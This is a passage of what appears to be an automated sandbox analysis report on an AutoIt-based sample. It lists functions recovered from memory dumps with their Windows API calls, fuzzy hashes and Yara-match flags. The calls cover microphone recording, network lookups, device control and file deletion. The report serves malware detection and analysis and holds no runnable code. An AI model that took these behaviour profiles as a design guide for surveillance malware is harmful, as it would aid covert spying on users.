waveInPrepareHeader.WINMM(00000000,00000000,00000020,03BC3274,00000000,03BC0D00,Function_00058AE0,00000000,00030000), ref: 03BB9B9C
waveInAddBuffer.WINMM(00000000,00000000,00000020,00000000,00000000,00000020,03BC3274,00000000,03BC0D00,Function_00058AE0,00000000,00030000), ref: 03BB9BB3
waveInStart.WINMM(00000000,00000000,00000000,00000020,00000000,00000000,00000020,03BC3274,00000000,03BC0D00,Function_00058AE0,00000000,00030000), ref: 03BB9BC2

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: wave$BufferHeaderOpenPrepareStart
String ID:
API String ID: 4183526013-0
Opcode ID: 6c8c03be24dfa9411795db5fe65f959016d226f42f9a277112bf294267a250b0
Instruction ID: 6a88f13d2919d346468ed7b60fe255347ec795588e44010f0befc6cd203e7031
Opcode Fuzzy Hash: 6c8c03be24dfa9411795db5fe65f959016d226f42f9a277112bf294267a250b0
Instruction Fuzzy Hash: 0B215E78A14704AFDB20FF69DE44AA677F8EB4924CF4085B4EA58CF654E7B8D840CB50

Function 008A4365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 008A4385
_memset.LIBCMT ref: 008A43A6
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 008A43F8
CloseHandle.KERNEL32(00000000), ref: 008A4401

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 04d40c8770de5135230f5c9efaa2cb1c5ef2d9790edef3cfa46224e3538f2e70
Instruction ID: fc0d49d53650f9eb4e00ae2454df295e958a93abd4099d47278cdf0613afbe69
Opcode Fuzzy Hash: 04d40c8770de5135230f5c9efaa2cb1c5ef2d9790edef3cfa46224e3538f2e70
Instruction Fuzzy Hash: 031101719022287AE73097A5AC4DFEBBB7CFF45720F004696F504D7280D2704E408BA4

Function 03B7D718 Relevance: 6.1, APIs: 4, Instructions: 62networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(00000000,00000000,00000001,?), ref: 03B7D768
htons.WS2_32(?), ref: 03B7D78C
htons.WS2_32(?), ref: 03B7D7AA
FreeAddrInfoW.WS2_32(00000000), ref: 03B7D7CB

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: htons$AddrFreeInfogetaddrinfo
String ID:
API String ID: 3288377348-0
Opcode ID: 3ede8746fa152f3aa31d032aa374168ff17c39405ad3efeebd3a7f40d64231d9
Instruction ID: a6a6a0eeb9a57e76a087eb446adb05246cfd087f3537ae0811b871873bf21000
Opcode Fuzzy Hash: 3ede8746fa152f3aa31d032aa374168ff17c39405ad3efeebd3a7f40d64231d9
Instruction Fuzzy Hash: 42211F79A01209DFDB04DFA4DA49AEEBBF9EF08308F1584BAE414E7651D7709A40CB21

Function 008B6A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0085402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,008A7E51,?,?,00000000), ref: 00854041
Part of subcall function 0085402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,008A7E51,?,?,00000000,?,?), ref: 00854065

gethostbyname.WSOCK32(?), ref: 008B6A84
WSAGetLastError.WSOCK32(00000000), ref: 008B6A8F
_memmove.LIBCMT ref: 008B6ABC
inet_ntoa.WSOCK32(?), ref: 008B6AC7

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 3b66d76e2c721f504cb4bf6795cda55cfcf394a483913a75b72e029017047a9c
Instruction ID: 211065b6195b264c3f26e1a5d828edce025dd21142a607f11a03dbc45499d465
Opcode Fuzzy Hash: 3b66d76e2c721f504cb4bf6795cda55cfcf394a483913a75b72e029017047a9c
Instruction Fuzzy Hash: 3E110D75500109ABCF04EBA8CD46EEEB7B8FF14311B144165F906E72A2DF319E14DB92

Function 03B61B66 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(03BC25CC), ref: 03B61B7F
RtlEnterCriticalSection.NTDLL(03BC25CC), ref: 03B61B92
LocalAlloc.KERNEL32(00000000,00000FF8,00000000,03B61C30), ref: 03B61BBC
RtlLeaveCriticalSection.NTDLL(03BC25CC), ref: 03B61C2A

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 8fc9a38c32a47024e0617bf4fc777d0478c4d56925c770ffaf4b7ad242396c54
Instruction ID: 3db926b39b224e1bf6cd8436dea5fe4b57c3b2a907e98812b02c1ba809753201
Opcode Fuzzy Hash: 8fc9a38c32a47024e0617bf4fc777d0478c4d56925c770ffaf4b7ad242396c54
Instruction Fuzzy Hash: 25118EB4614344AFDB29EB9CC611A5D7BE0E78D30DF1488F9E0009FB92D6784A40DB20

Function 00F1AD87 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(00F2497D), ref: 00F1ADA0
RtlEnterCriticalSection.NTDLL(00F2497D), ref: 00F1ADB3
LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00F1AE51), ref: 00F1ADDD
RtlLeaveCriticalSection.NTDLL(00F2497D), ref: 00F1AE4B

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: b7406940c32a40b3a338e733f92511e45b5580d8999947a205652c381a4d5231
Instruction ID: 75cace652a248bb0ef541ac82f0b740c975e67f07256e7ae001850516c884f33
Opcode Fuzzy Hash: b7406940c32a40b3a338e733f92511e45b5580d8999947a205652c381a4d5231
Instruction Fuzzy Hash: E711BF74A46214EFD715EFA9E902B9A7BE2EB49714F148065F00097291CAB4ADC1FB13

Function 03B61B68 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(03BC25CC), ref: 03B61B7F
RtlEnterCriticalSection.NTDLL(03BC25CC), ref: 03B61B92
LocalAlloc.KERNEL32(00000000,00000FF8,00000000,03B61C30), ref: 03B61BBC
RtlLeaveCriticalSection.NTDLL(03BC25CC), ref: 03B61C2A

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 5cab009cadc8cc24a521ada1fe5b9664fc823b9e6946ad1dff8846fc74f17688
Instruction ID: 9bc32fdc40c020254fc31ca187e0c1cc1ce5cd58763bd1246e947162d70fd036
Opcode Fuzzy Hash: 5cab009cadc8cc24a521ada1fe5b9664fc823b9e6946ad1dff8846fc74f17688
Instruction Fuzzy Hash: 19118EB4614344AFDB29EB9CC611A5D7BE0E78D30DF1488F9E0009FB92C6784A40DB20

Function 00F1AD89 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(00F2497D), ref: 00F1ADA0
RtlEnterCriticalSection.NTDLL(00F2497D), ref: 00F1ADB3
LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00F1AE51), ref: 00F1ADDD
RtlLeaveCriticalSection.NTDLL(00F2497D), ref: 00F1AE4B

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 92ac575cf3753dd20e4e0a32dd67f97d95e39640357b3408f8763b91b571c1bb
Instruction ID: 4ed5d10e0218f9c61ea90cad3eebf2a8358ac77ceda8436078e3c2123ca1e8eb
Opcode Fuzzy Hash: 92ac575cf3753dd20e4e0a32dd67f97d95e39640357b3408f8763b91b571c1bb
Instruction Fuzzy Hash: BE11C174A46314EFD715EFA9E902B9A7BE2EB49714F148065E00097291CBF4ADC1FB13

Function 00842111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0084214F
GetStockObject.GDI32(00000011), ref: 00842163
SendMessageW.USER32(00000000,00000030,00000000), ref: 0084216D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 699cc44f978b9feb4b6f36eed698df27b3e93ce60e36980f4f55cf49018647c0
Instruction ID: eddb9f54104958f172662461af93662854cd4b11c5517a684f3ef82d0556acbe
Opcode Fuzzy Hash: 699cc44f978b9feb4b6f36eed698df27b3e93ce60e36980f4f55cf49018647c0
Instruction Fuzzy Hash: D1118B7250624DBFDF024FA09C84EEABB69FF583A4F440212FA0492110D731EC60AFA1

Function 008CE1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 008CE1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 008CE201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 008CE216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 008CE234

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 0a93e52628669fd8df9a88bf725fc6c9eb53bb92aa56b6c36e5374f89df2cc5f
Instruction ID: 8fff16a137b1c23aff923d631b235d5420737347f95617c3d4ca313789b11ed3
Opcode Fuzzy Hash: 0a93e52628669fd8df9a88bf725fc6c9eb53bb92aa56b6c36e5374f89df2cc5f
Instruction Fuzzy Hash: 35113CB52063099BE3208F51DD08F93BBBCFB00B04F10865EB656D6450D7B0E504ABA1

Function 03B68A90 Relevance: 6.0, APIs: 4, Instructions: 43timefileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 03B68AA1
GetLastError.KERNEL32(?,?), ref: 03B68AAA
FileTimeToLocalFileTime.KERNEL32(?), ref: 03B68AC0
FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 03B68ACF

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FileTime$DateErrorFindLastLocalNext
String ID:
API String ID: 2103556486-0
Opcode ID: 091833e8f60d4b9810db7f71bfbd521d3f71a1107c8f483edfd609cf213acc47
Instruction ID: b32bdc7b713a22bf700eee57a9e20198419f2c0a6c5bd027bb219bd04c2f294d
Opcode Fuzzy Hash: 091833e8f60d4b9810db7f71bfbd521d3f71a1107c8f483edfd609cf213acc47
Instruction Fuzzy Hash: 7001FBB6600215AFCB04DEA8C9C198773ECEB0825870445F6EE45CF24AE628D9548BE0

Function 008CC3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 008416CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00841729
Part of subcall function 008416CF: SelectObject.GDI32(?,00000000), ref: 00841738
Part of subcall function 008416CF: BeginPath.GDI32(?), ref: 0084174F
Part of subcall function 008416CF: SelectObject.GDI32(?,00000000), ref: 00841778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 008CC3E8
LineTo.GDI32(00000000,?,?), ref: 008CC3F5
EndPath.GDI32(00000000), ref: 008CC405
StrokePath.GDI32(00000000), ref: 008CC413

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 7ada621849a37ecf0062f69e48ec1235e9a5d7793fc4140dcf7e6e8654b5ded3
Instruction ID: e6ea90a2eb561a397aa7f65b455559fb64bae6e0ca442dfe8a90551648b1ca25
Opcode Fuzzy Hash: 7ada621849a37ecf0062f69e48ec1235e9a5d7793fc4140dcf7e6e8654b5ded3
Instruction Fuzzy Hash: 77F0BE32006619BADB122F94AC0DFCE3F69BF05320F048105FA51611E187746950DFA9

Function 0089AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0089AA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 0089AA82
GetCurrentThreadId.KERNEL32 ref: 0089AA89
AttachThreadInput.USER32(00000000), ref: 0089AA90

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 5b7de8c3629ac13b2a8062a73b3872a6d0135b8b6743d301332ccf9260dfc1d3
Instruction ID: 4976f75543dfc0e8d3da2b40192a7c3483c6a512ccfe6b843b2b7a7249561d08
Opcode Fuzzy Hash: 5b7de8c3629ac13b2a8062a73b3872a6d0135b8b6743d301332ccf9260dfc1d3
Instruction Fuzzy Hash: 49E01531942328BBDB216BA2ED0CFEB3F5CFF627A1F448112B50994050C671C550CBE0

Function 03B9F48C Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 03B9F490
GetDeviceCaps.GDI32(00000000,0000000C), ref: 03B9F49A
GetDeviceCaps.GDI32(00000000,0000000E), ref: 03B9F4A4
ReleaseDC.USER32(00000000,00000000), ref: 03B9F4C4

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 141152639fd71b0a981abf02482e2ed44e054e8b101d316f0fafd1ef03e702a7
Instruction ID: 0020b7aa731f23037c83324d776171d0bbaf355650a3ced56cf8391ab4006fda
Opcode Fuzzy Hash: 141152639fd71b0a981abf02482e2ed44e054e8b101d316f0fafd1ef03e702a7
Instruction Fuzzy Hash: 95E0125A6483A8B8F620B2745D86F7E0B4C8B417AEF4814F6EA597F2C3D9D84C4047B1

Function 008425F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0084260D
SetTextColor.GDI32(?,000000FF), ref: 00842617
SetBkMode.GDI32(?,00000001), ref: 0084262C
GetStockObject.GDI32(00000005), ref: 00842634
GetWindowDC.USER32(?,00000000), ref: 0087C1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 0087C1D1
GetPixel.GDI32(00000000,?,00000000), ref: 0087C1EA
GetPixel.GDI32(00000000,00000000,?), ref: 0087C203
GetPixel.GDI32(00000000,?,?), ref: 0087C223
ReleaseDC.USER32(?,00000000), ref: 0087C22E

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 3cc08854d004b5ffa3b2f7fd5469fa1d2e19b8fc5afa693675dc972d6870ad48
Instruction ID: 3069b1fdf09df8a8cddbd056c0d9d06be31f8b7fef0717a5b8744abd98edaf7a
Opcode Fuzzy Hash: 3cc08854d004b5ffa3b2f7fd5469fa1d2e19b8fc5afa693675dc972d6870ad48
Instruction Fuzzy Hash: 4DE0E531545244BBDF215FB4BC497D83B11FB15332F148367FA69980E587714990DF11

Function 00880679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00880679
GetDC.USER32(00000000), ref: 00880683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 008806A3
ReleaseDC.USER32(?), ref: 008806C4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 2abe3c117a06e08aa74048412c4bb8a75a41f75f8c2a057dce9ed74179ac40fd
Instruction ID: bb457f59bb2d8bcbd94a35792f0b9ffafea5d87c822da59a3110638353bfcafd
Opcode Fuzzy Hash: 2abe3c117a06e08aa74048412c4bb8a75a41f75f8c2a057dce9ed74179ac40fd
Instruction Fuzzy Hash: FAE0EEB1801308EFCB419FB0E808BAD7BB1FBA8360F11810AF95AE7210DB3889519F50

Function 0088068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0088068D
GetDC.USER32(00000000), ref: 00880697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 008806A3
ReleaseDC.USER32(?), ref: 008806C4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: c8a830c494e0b89a5d7b416d932bf5db326297fb25ef18c8b5453299592a5725
Instruction ID: ce3c38baaa56e1a9c4d17e39d35826a3a31b26c24f625ffe3e4b955fec71a848
Opcode Fuzzy Hash: c8a830c494e0b89a5d7b416d932bf5db326297fb25ef18c8b5453299592a5725
Instruction Fuzzy Hash: 09E012B1801208AFCB019FB0E808B9D7BF1FBAC360F10810AF95AE7210CB3895518F50

Function 03B66EC8 Relevance: 6.0, APIs: 4, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 03B66ECB
GlobalUnlock.KERNEL32(00000000), ref: 03B66ED2
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 03B66ED7
GlobalLock.KERNEL32(00000000), ref: 03B66EDD

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Global$AllocHandleLockUnlock
String ID:
API String ID: 2167344118-0
Opcode ID: ad7ccee025eab92ec84f06669fb48f7782a408bf1efbd639dd5b1252a33fc849
Instruction ID: 54409c2c6b215894c85740fff4c32ae256ceb42dbc43df0a74db958ad4e6dced
Opcode Fuzzy Hash: ad7ccee025eab92ec84f06669fb48f7782a408bf1efbd639dd5b1252a33fc849
Instruction Fuzzy Hash: 44B009DDD943413AAA08B7F04D1AF3B821C9C9854E3818AF9B805EA082DC6CE81000B5

Function 0084E00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 0084E01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 0084E037

Strings

@, xrefs: 0084E02B

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 82ab9e2873269016e8adfba8b8555fa7fd8434830392f4669374a64bb360494f
Instruction ID: aff4540aad285d10d367e86f120993f7b2fb7267c9119d9cd105d0ae5742cb70
Opcode Fuzzy Hash: 82ab9e2873269016e8adfba8b8555fa7fd8434830392f4669374a64bb360494f
Instruction Fuzzy Hash: E75148714087489BE320AF54E886BAFBBF8FBC4714F41494DF1D8811A5DB719529CB17

Function 03BBB068 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,?,?,?,?,00000005,00000000,00000000), ref: 03BBB186

Part of subcall function 03B649E0: SysFreeString.OLEAUT32 ref: 03B649EE

Part of subcall function 03B649F8: SysFreeString.OLEAUT32 ref: 03B64A0B

Strings

.rar, xrefs: 03BBB0A5
||-_-|-_-||, xrefs: 03BBB0F9, 03BBB10D

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FreeString$DeleteFile
String ID: .rar$||-_-|-_-||
API String ID: 51754653-3497882860
Opcode ID: 7228803d6af6d1c9300900b660df11396d2a8e27f793be8daf36440580c5a315
Instruction ID: aa8ce8e433d7bca60ce8791044f0da8a2bfecfb9866e1c9932b7f5f2c9edc34c
Opcode Fuzzy Hash: 7228803d6af6d1c9300900b660df11396d2a8e27f793be8daf36440580c5a315
Instruction Fuzzy Hash: A7412035B1060D9FCB00EFA5D844AEEB7B9FF49208F5040B5E415AB255DB74EE05CBA0

Function 0087ECA6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0087ECB1

Strings

8), xrefs: 00845661, 00845669
T, xrefs: 0084564D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
